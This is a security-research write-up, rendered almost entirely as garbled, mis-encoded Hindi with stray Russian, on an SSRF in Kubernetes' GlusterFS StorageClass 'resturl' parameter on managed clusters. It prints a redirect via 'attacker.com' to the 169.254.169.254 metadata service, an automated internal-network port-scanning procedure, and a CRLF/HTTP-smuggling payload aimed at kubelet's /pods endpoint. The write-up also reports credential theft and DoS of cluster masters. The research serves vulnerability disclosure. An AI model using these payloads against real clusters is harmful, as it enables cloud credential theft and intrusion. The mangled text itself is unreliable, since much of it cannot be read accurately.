- рд╢реЛрдз рдореЗрдВ рдЙрддреНрддрд░реА рдпреВрд░реЛрдк рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рд╕рдВрд╕реНрдХрд░рдг 1.12 рдХреЗ рд╕рд╛рде рдПрдЬрд╝реНрдпреЛрд░ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рд╕рд░реНрд╡рд┐рд╕ (рдПрдХреЗрдПрд╕) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ред
- рдКрдкрд░ рд╡рд░реНрдгрд┐рдд рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдХреЛ рддреАрд╕рд░реЗ рдкрд░рд┐рджреГрд╢реНрдп рдХреЗ рдЕрдкрд╡рд╛рдж рдХреЗ рд╕рд╛рде, рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХреА рдирд╡реАрдирддрдо рд░рд┐рд▓реАрдЬ рдкрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдХреНрдпреЛрдВрдХрд┐ рдЙрд╕реЗ рдЧреЛрд▓рд╛рдВрдЧ рд╕рдВрд╕реНрдХрд░рдг тЙд 1.12 рдХреЗ рд╕рд╛рде рдирд┐рд░реНрдорд┐рдд рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдереАред
- рд╣рдорд▓рд╛рд╡рд░ рдХрд╛ рдмрд╛рд╣рд░реА рд╕рд░реНрд╡рд░ -
https://attacker.com
.
рдЙрдиреНрдирдд рдкрд░рд┐рджреГрд╢реНрдп #1: HTTP POST рдЕрдиреБрд░реЛрдз рдХреЛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдФрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдирд╛
рд╡рд╛рдкрд╕ рд▓реМрдЯрдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рдХреЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рджреНрд╡рд╛рд░рд╛ рдореВрд▓ рд╡рд┐рдзрд┐ рдореЗрдВ рд╕реБрдзрд╛рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ 302 HTTP рд░реЗрдЯрдХреЛрдбPOST рдЕрдиреБрд░реЛрдз рдХреЛ GET рдЕрдиреБрд░реЛрдз рдореЗрдВ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП (рдЖрд░реЗрдЦ рдореЗрдВ рдЪрд░рдг 4):
рдкрд╣рд▓рд╛ рдЕрдиреБрд░реЛрдз (3) рдЧреНрд░рд╛рд╣рдХ рд╕реЗ рдЖ рд░рд╣рд╛ рд╣реИ GlusterFS (рдирд┐рдпрдВрддреНрд░рдХ рдкреНрд░рдмрдВрдзрдХ), рдПрдХ POST рдкреНрд░рдХрд╛рд░ рд╣реИред рдЗрди рдЪрд░рдгреЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░рдХреЗ рд╣рдо рдЗрд╕реЗ GET рдореЗрдВ рдмрджрд▓рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗ:
- рдПрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ
resturl
рд╕реНрдЯреЛрд░реЗрдЬрдХреНрд▓рд╛рд╕ рдореЗрдВ рдпрд╣ рджрд░реНрд╢рд╛рдпрд╛ рдЧрдпрд╛ рд╣реИhttp://attacker.com/redirect.php
. - endpoint
https://attacker.com/redirect.php
рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реНрдерд╛рди рд╢реАрд░реНрд╖рд▓реЗрдЦ рдХреЗ рд╕рд╛рде 302 HTTP рд╕реНрдерд┐рддрд┐ рдХреЛрдб рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд░рддрд╛ рд╣реИ:http://169.254.169.254
. рдпрд╣ рдХреЛрдИ рдЕрдиреНрдп рдЖрдВрддрд░рд┐рдХ рд╕рдВрд╕рд╛рдзрди рд╣реЛ рд╕рдХрддрд╛ рд╣реИ - рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рд▓рд┐рдВрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреЗрд╡рд▓ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд░реВрдк рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред - ╨Я╨╛ ╤Г╨╝╨╛╨╗╤З╨░╨╜╨╕╤О рдиреЗрдЯ/http рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдЧреЛрд▓рд╛рдВрдЧ рдЕрдиреБрд░реЛрдз рдХреЛ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ POST рдХреЛ 302 рд╕реНрдерд┐рддрд┐ рдХреЛрдб рдХреЗ рд╕рд╛рде GET рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рд▓рдХреНрд╖реНрдп рд╕рдВрд╕рд╛рдзрди рдХреЗ рд▓рд┐рдП HTTP GET рдЕрдиреБрд░реЛрдз рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИред
HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдирд┐рдХрд╛рдп рдХреЛ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдпрд╣ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ describe
рдкреАрд╡реАрд╕реА рд╡рд╕реНрддреБ:
kubectl describe pvc xxx
рдпрд╣рд╛рдВ JSON рдкреНрд░рд╛рд░реВрдк рдореЗрдВ HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬрд┐рд╕реЗ рд╣рдо рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗ:
рдЙрд╕ рд╕рдордп рдкрд╛рдИ рдЧрдИ рднреЗрджреНрдпрддрд╛ рдХреА рдХреНрд╖рдорддрд╛рдПрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдмрд┐рдВрджреБрдУрдВ рдХреЗ рдХрд╛рд░рдг рд╕реАрдорд┐рдд рдереАрдВ:
- рдЖрдЙрдЯрдЧреЛрдЗрдВрдЧ рдЕрдиреБрд░реЛрдз рдореЗрдВ HTTP рд╣реЗрдбрд░ рд╕рдореНрдорд┐рд▓рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдЕрд╕рдорд░реНрдерддрд╛ред
- рдореБрдЦреНрдп рднрд╛рдЧ рдореЗрдВ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде POST рдЕрдиреБрд░реЛрдз рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдЕрд╕рдорд░реНрдерддрд╛ (рдЗрд╕ рдкрд░ рдЪрд▓ рд░рд╣реЗ рдЖрджрд┐ рдЗрдВрд╕реНрдЯреЗрдВрд╕ рд╕реЗ рдХреБрдВрдЬреА рдорд╛рди рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рдирд╛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рд╣реИ) 2379 рдкреЛрд░реНрдЯ рдпрджрд┐ рдЕрдирдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб HTTP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ)ред
- рдЬрдм рд╕реНрдерд┐рддрд┐ рдХреЛрдб 200 рдерд╛ рдФрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ JSON рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░ рдирд╣реАрдВ рдерд╛, рддреЛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореБрдЦреНрдп рд╕рд╛рдордЧреНрд░реА рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рдЕрд╕рдорд░реНрдерддрд╛ред
рдЙрдиреНрдирдд рдкрд░рд┐рджреГрд╢реНрдп #2: рд╕реНрдерд╛рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рдХреЛ рд╕реНрдХреИрди рдХрд░рдирд╛
рдЗрд╕ рдЕрд░реНрдз-рдЕрдВрдзрд╛ SSRF рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рддрдм рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рддрд╛ рдХреЗ рдЖрдВрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рдХреЛ рд╕реНрдХреИрди рдХрд░рдиреЗ рдФрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╡рд┐рднрд┐рдиреНрди рд╢реНрд░рд╡рдг рд╕реЗрд╡рд╛рдУрдВ (рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдЙрджрд╛рд╣рд░рдг, рдХреНрдпреВрдмрд▓реЗрдЯ, рдЖрджрд┐) рдХрд╛ рд╕рд░реНрд╡реЗрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдХреНрдпреВрдм рдирд┐рдпрдВрддреНрд░рдХ.
рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдШрдЯрдХреЛрдВ рдХреЗ рдорд╛рдирдХ рд╢реНрд░рд╡рдг рдкреЛрд░реНрдЯ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдП рдЧрдП (8443, 10250, 10251, рдЖрджрд┐), рдФрд░ рдлрд┐рд░ рд╣рдореЗрдВ рд╕реНрдХреИрдирд┐рдВрдЧ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рдирд╛ рдкрдбрд╝рд╛ред
рдпрд╣ рджреЗрдЦрддреЗ рд╣реБрдП рдХрд┐ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд╕реНрдХреИрди рдХрд░рдиреЗ рдХреА рдпрд╣ рд╡рд┐рдзрд┐ рдмрд╣реБрдд рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╣реИ рдФрд░ рдХреНрд▓рд╛рд╕рд┐рдХ рд╕реНрдХреИрдирд░ рдФрд░ рдПрд╕рдПрд╕рдЖрд░рдПрдл рдЯреВрд▓ рдХреЗ рд╕рд╛рде рд╕рдВрдЧрдд рдирд╣реАрдВ рд╣реИ, рд╣рдордиреЗ рдПрдХ рдмреИрд╢ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛ рдмрдирд╛рдиреЗ рдХрд╛ рдирд┐рд░реНрдгрдп рд▓рд┐рдпрд╛ рдЬреЛ рдкреВрд░реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рддрд╛ рд╣реИред
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрдВрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рдХреА рд░реЗрдВрдЬ 172.16.0.0/12 рдХреЛ рд╢реАрдШреНрд░рддрд╛ рд╕реЗ рд╕реНрдХреИрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, 15 рд╢реНрд░рдорд┐рдХреЛрдВ рдХреЛ рд╕рдорд╛рдирд╛рдВрддрд░ рдореЗрдВ рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдЙрдкрд░реЛрдХреНрдд рдЖрдИрдкреА рд░реЗрдВрдЬ рдХреЛ рдХреЗрд╡рд▓ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд░реВрдк рдореЗрдВ рдЪреБрдирд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдЖрдкрдХреЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реЗрд╡рд╛ рдкреНрд░рджрд╛рддрд╛ рдХреА рдЖрдИрдкреА рд░реЗрдВрдЬ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрди рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
рдПрдХ рдЖрдИрдкреА рдкрддреЗ рдФрд░ рдПрдХ рдкреЛрд░реНрдЯ рдХреЛ рд╕реНрдХреИрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╛рд░реНрдп рдХрд░рдиреЗ рд╣реЛрдВрдЧреЗ:
- рдЕрдВрддрд┐рдо рдЬрд╛рдБрдЪ рдХреА рдЧрдИ рд╕реНрдЯреЛрд░реЗрдЬрдХреНрд▓рд╛рд╕ рдХреЛ рд╣рдЯрд╛ рджреЗрдВ;
- рдкрд┐рдЫрд▓реЗ рд╕рддреНрдпрд╛рдкрд┐рдд рдкрд░рд╕рд┐рд╕реНрдЯреЗрдВрдЯ рд╡реЙрд▓реНрдпреВрдо рджрд╛рд╡реЗ рдХреЛ рд╣рдЯрд╛ рджреЗрдВ;
- рдЖрдИрдкреА тАЛтАЛтАЛтАЛрдФрд░ рдкреЛрд░реНрдЯ рдорд╛рди рдмрджрд▓реЗрдВ
sc.yaml
; - рдПрдХ рдирдП рдЖрдИрдкреА рдФрд░ рдкреЛрд░реНрдЯ рдХреЗ рд╕рд╛рде рдПрдХ рд╕реНрдЯреЛрд░реЗрдЬрдХреНрд▓рд╛рд╕ рдмрдирд╛рдПрдВ;
- рдПрдХ рдирдпрд╛ рдкреАрд╡реАрд╕реА рдмрдирд╛рдПрдВ;
- рдкреАрд╡реАрд╕реА рдХреЗ рд▓рд┐рдП рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрдХреИрди рдкрд░рд┐рдгрд╛рдо рдирд┐рдХрд╛рд▓реЗрдВред
рдЙрдиреНрдирдд рдкрд░рд┐рджреГрд╢реНрдп #3: рд╕реАрдЖрд░рдПрд▓рдПрдл рдЗрдВрдЬреЗрдХреНрд╢рди + рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХреНрд▓рд╕реНрдЯрд░ рдХреЗ "рдкреБрд░рд╛рдиреЗ" рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ HTTP рдХреА рддрд╕реНрдХрд░реА
рдпрджрд┐ рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд рдкреНрд░рджрд╛рддрд╛ рдиреЗ рдЧреНрд░рд╛рд╣рдХреЛрдВ рдХреЛ K8s рдХреНрд▓рд╕реНрдЯрд░ рдХреЗ рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдг рдХреА рдкреЗрд╢рдХрд╢ рдХреА ╨╕ рдЙрдиреНрд╣реЗрдВ рдХреНрдпреВрдм-рдирд┐рдпрдВрддреНрд░рдХ-рдкреНрд░рдмрдВрдзрдХ рдХреЗ рд▓реЙрдЧ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХреА рдЧрдИ, рдкреНрд░рднрд╛рд╡ рдФрд░ рднреА рдЕрдзрд┐рдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реЛ рдЧрдпрд╛ред
рдХрд┐рд╕реА рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд▓рд┐рдП рдЕрдкрдиреЗ рд╡рд┐рд╡реЗрдХ рдкрд░ рдкреВрд░реНрдг HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдП рдЧрдП HTTP рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдмрджрд▓рдирд╛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЕрдзрд┐рдХ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рд╣реИред
рдЕрдВрддрд┐рдо рдкрд░рд┐рджреГрд╢реНрдп рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╢рд░реНрддреЛрдВ рдХреЛ рдкреВрд░рд╛ рдХрд░рдирд╛ рд╣реЛрдЧрд╛:
- рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рдХреНрдпреВрдм-рдирд┐рдпрдВрддреНрд░рдХ-рдкреНрд░рдмрдВрдзрдХ рд▓реЙрдЧ рддрдХ рдкрд╣реБрдВрдЪ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Azure LogInsights рдореЗрдВ)ред
- рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХреНрд▓рд╕реНрдЯрд░ рдХреЛ 1.12 рд╕реЗ рдХрдо рдЧреЛрд▓рд╛рдВрдЧ рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред
рд╣рдордиреЗ рдПрдХ рд╕реНрдерд╛рдиреАрдп рд╡рд╛рддрд╛рд╡рд░рдг рддреИрдирд╛рдд рдХрд┐рдпрд╛ рд╣реИ рдЬреЛ рдЧреНрд▓рд╕реНрдЯрд░рдПрдлрдПрд╕ рдЧреЛ рдХреНрд▓рд╛рдЗрдВрдЯ рдФрд░ рдПрдХ рдирдХрд▓реА рд▓рдХреНрд╖реНрдп рд╕рд░реНрд╡рд░ рдХреЗ рдмреАрдЪ рд╕рдВрдЪрд╛рд░ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рддрд╛ рд╣реИ (рд╣рдо рдЕрднреА рдХреЗ рд▓рд┐рдП рдкреАрдУрд╕реА рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд░рдиреЗ рд╕реЗ рдкрд░рд╣реЗрдЬ рдХрд░реЗрдВрдЧреЗ)ред
рдорд┐рд▓рд╛ рдерд╛
рдКрдкрд░ рд╡рд░реНрдгрд┐рдд рдЕрд░реНрдз-рдЕрдВрдзрд╛ рдПрд╕рдПрд╕рдЖрд░рдПрдл рдХреЛ рдорд┐рд▓рд╛рдХрд░ ╨▓╨╝╨╡╤Б╤В╨╡ рдЗрд╕рдХреЗ рд╕рд╛рде, рд╣рдо рдЕрдкрдиреА рдкрд╕рдВрдж рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗ, рдЬрд┐рд╕рдореЗрдВ рд╣реЗрдбрд░, HTTP рд╡рд┐рдзрд┐, рдкреИрд░рд╛рдореАрдЯрд░ рдФрд░ рдбреЗрдЯрд╛ рдХреЛ рдмрджрд▓рдирд╛ рд╢рд╛рдорд┐рд▓ рдерд╛, рдЬрд┐рд╕реЗ рдХреНрдпреВрдм-рдирд┐рдпрдВрддреНрд░рдХ-рдкреНрд░рдмрдВрдзрдХ рдиреЗ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдпрд╛ред
рдпрд╣рд╛рдВ рдПрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рдХрд╛рд░реНрдпрд╢реАрд▓ "рдЪрд╛рд░рд╛" рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ resturl
рд╕реНрдЯреЛрд░реЗрдЬрдХреНрд▓рд╛рд╕, рдЬреЛ рдПрдХ рд╕рдорд╛рди рд╣рдорд▓реЗ рдХреЗ рдкрд░рд┐рджреГрд╢реНрдп рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ:
http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn
рдкрд░рд┐рдгрд╛рдо рдПрдХ рддреНрд░реБрдЯрд┐ рд╣реИ рдЕрдирдЪрд╛рд╣реА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛, рдПрдХ рд╕рдВрджреЗрд╢ рдЬрд┐рд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд┐рдпрдВрддреНрд░рдХ рд▓реЙрдЧ рдореЗрдВ рджрд░реНрдЬ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕рдХреНрд╖рдо рд╡рд░реНрдмреЛрд╕рд┐рдЯреА рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж, HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕рдВрджреЗрд╢ рдХреА рд╕рд╛рдордЧреНрд░реА рднреА рд╡рд╣рд╛рдВ рд╕рд╣реЗрдЬреА рдЬрд╛рддреА рд╣реИред
рдЕрд╡рдзрд╛рд░рдгрд╛ рдХреЗ рдкреНрд░рдорд╛рдг рдХреЗ рдврд╛рдВрдЪреЗ рдХреЗ рднреАрддрд░ рдпрд╣ рд╣рдорд╛рд░рд╛ рд╕рдмрд╕реЗ рдкреНрд░рднрд╛рд╡реА "рдЪрд╛рд░рд╛" рдерд╛ред
рдЗрд╕ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рд╣рдо рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдмрдВрдзрд┐рдд k8s рдкреНрд░рджрд╛рддрд╛рдУрдВ рдХреЗ рд╕рдореВрд╣реЛрдВ рдкрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреБрдЫ рд╣рдорд▓реЛрдВ рдХреЛ рдЕрдВрдЬрд╛рдо рджреЗрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗ: рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдкрд░ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЗ рд╕рд╛рде рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐, рдЖрджрд┐ рдорд╛рд╕реНрдЯрд░ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдкрд░ (рдЕрдирдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб) тАЛтАЛHTTP рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдорд╛рд╕реНрдЯрд░ DoS, рдЖрджрд┐ред
рдкрд░рд┐рдгрд╛рдо
рд╣рдорд╛рд░реЗ рджреНрд╡рд╛рд░рд╛ рдЦреЛрдЬреА рдЧрдИ рдПрд╕рдПрд╕рдЖрд░рдПрдл рднреЗрджреНрдпрддрд╛ рдХреЗ рд╕рдВрдмрдВрдз рдореЗрдВ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХреЗ рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рдмрдпрд╛рди рдореЗрдВ, рдЗрд╕рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рд╕реАрд╡реАрдПрд╕рдПрд╕ 6.3/10: рд╕реАрд╡реАрдПрд╕рдПрд╕:3.0/рдПрд╡реА:рдПрди/рдПрд╕реА:рдПрдЪ/рдкреАрдЖрд░:рдПрд▓/рдпреВрдЖрдИ:рдПрди/рдПрд╕:рд╕реА/рд╕реА:рдПрдЪ/рдЖрдИ:рдПрди/рдП:рдПрдиред рдпрджрд┐ рд╣рдо рдХреЗрд╡рд▓ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдкрд░рд┐рдзрд┐, рдЕрдЦрдВрдбрддрд╛ рд╡реЗрдХреНрдЯрд░ рд╕реЗ рдЬреБрдбрд╝реА рднреЗрджреНрдпрддрд╛ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ (рдЕрдЦрдВрдбрддрд╛ рд╡реЗрдХреНрдЯрд░) рдпрд╣ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдпреЛрдЧреНрдп рд╣реИ рдХреЛрдИ рдирд╣реАрдВ.
рд╣рд╛рд▓рд╛рдБрдХрд┐, рдПрдХ рдкреНрд░рдмрдВрдзрд┐рдд рд╕реЗрд╡рд╛ рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рд╕рдВрднрд╛рд╡рд┐рдд рдкрд░рд┐рдгрд╛рдореЛрдВ рдХрд╛ рдЖрдХрд▓рди рдХрд░рдирд╛ (рдФрд░ рдпрд╣ рд╣рдорд╛рд░реЗ рд╢реЛрдз рдХрд╛ рд╕рдмрд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рд╣рд┐рд╕реНрд╕рд╛ рдерд╛!) тАЛтАЛрдиреЗ рд╣рдореЗрдВ рднреЗрджреНрдпрддрд╛ рдХреЛ рд░реЗрдЯрд┐рдВрдЧ рдореЗрдВ рдкреБрдирд░реНрд╡рд░реНрдЧреАрдХреГрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЗрд░рд┐рдд рдХрд┐рдпрд╛ред рдХреНрд░рд┐рдЯрд┐рдХрд▓ рд╕реАрд╡реАрдПрд╕рдПрд╕10/10 рдХрдИ рд╡рд┐рддрд░рдХреЛрдВ рдХреЗ рд▓рд┐рдП.
рдХреНрд▓рд╛рдЙрдб рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рд╕рдВрднрд╛рд╡рд┐рдд рдкреНрд░рднрд╛рд╡реЛрдВ рдХрд╛ рдЖрдХрд▓рди рдХрд░рддреЗ рд╕рдордп рд╣рдорд╛рд░реЗ рд╡рд┐рдЪрд╛рд░реЛрдВ рдХреЛ рд╕рдордЭрдиреЗ рдореЗрдВ рдЖрдкрдХреА рд╕рд╣рд╛рдпрддрд╛ рдХреЗ рд▓рд┐рдП рдиреАрдЪреЗ рдЕрддрд┐рд░рд┐рдХреНрдд рдЬрд╛рдирдХрд╛рд░реА рджреА рдЧрдИ рд╣реИ:
рдИрдорд╛рдирджрд╛рд░реА
- рдкреНрд░рд╛рдкреНрдд рдЖрдВрддрд░рд┐рдХ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВред
- рд╕реНрдерд╛рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдкрд╛рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдЕрдиреНрдп рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд╕рд╛рде IDOR (рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдбрд╛рдпрд░реЗрдХреНрдЯ рдСрдмреНрдЬреЗрдХреНрдЯ рд░реЗрдлрд░реЗрдВрд╕) рдкрджреНрдзрддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдкрд░реЛрдХреНрдд рдкрд░рд┐рджреГрд╢реНрдп рдХреЛ рдкреБрди: рдкреНрд░рд╕реНрддреБрдд рдХрд░рдирд╛ред
╨Ъ╨╛╨╜╤Д╨╕╨┤╨╡╨╜╤Ж╨╕╨░╨╗╤М╨╜╨╛╤Б╤В╤М
